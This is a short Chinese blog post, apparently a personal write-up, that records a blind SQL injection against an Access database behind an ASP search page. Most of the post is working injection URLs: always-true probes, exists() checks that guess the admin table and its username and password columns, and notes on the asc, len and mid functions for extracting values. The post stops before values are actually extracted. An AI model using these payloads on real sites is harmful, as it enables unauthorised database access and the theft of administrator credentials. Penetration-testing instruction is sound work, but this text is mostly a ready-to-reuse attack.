Access盲注实例

介于网上关于Access数据库的盲注技巧的文章相对较少,我这里又碰到了一个实例,便将整个注入过程简要地做个记录

main/ajcs/tocx.asp?act=search&code=' or '1'='1&idcard=' or '1'='1  

通过测试可以发现,在搜索参数code和idcard为万能密码时,可以正常回显

main/ajcs/tocx.asp?act=search&code=' or '1'='11&idcard=' or '1'='11  

当万能密码不成立时,页面提示查询错误,资料不存在,说明这里存在着一个SQL盲注
Access的盲注可以利用exists len asc mid 等函数进行注入,具体使用姿势及函数相关说明会在下面讲到

注入得到表名
main/ajcs/tocx.asp?act=search&code=' and exists(select 1 from admin) or '1'='1&idcard=' or '1'='1  

exists  判断是否存在,当后面跟上select 1 from admin时,即为判断这句查询是否正确,如果目标数据库存在admin表,则为true,如果不存在admin表,则为false  
main/ajcs/tocx.asp?act=search&code=' and exists(select 1 from manager) or '1'='1&idcard=' or '1'='1  

上图即表示目标不存在manager表

注入得到字段名
main/ajcs/tocx.asp?act=search&code=' and exists(select username from admin) or '1'='1&idcard=' or '1'='1  

这里同样是使用exists函数,结合select username from admin 语句,来判断admin表是否存在username列

main/ajcs/tocx.asp?act=search&code=' and exists(select user from admin) or '1'='1&idcard=' or '1'='1  

经过对比我们就知道,admin表是存在username列的,不存在user列,同样的方法我们可以得到其它列,比如password列

注入得到值
asc(str)函数即将str转换成ascii码对应的数字  
len(str)函数即返回str字符串的长度  
mid(str,n,m)函数返回str字符串从n位算起m位字符  

这里我们先要注入得到username,password列的长度

zhutougg

继续阅读此作者的更多文章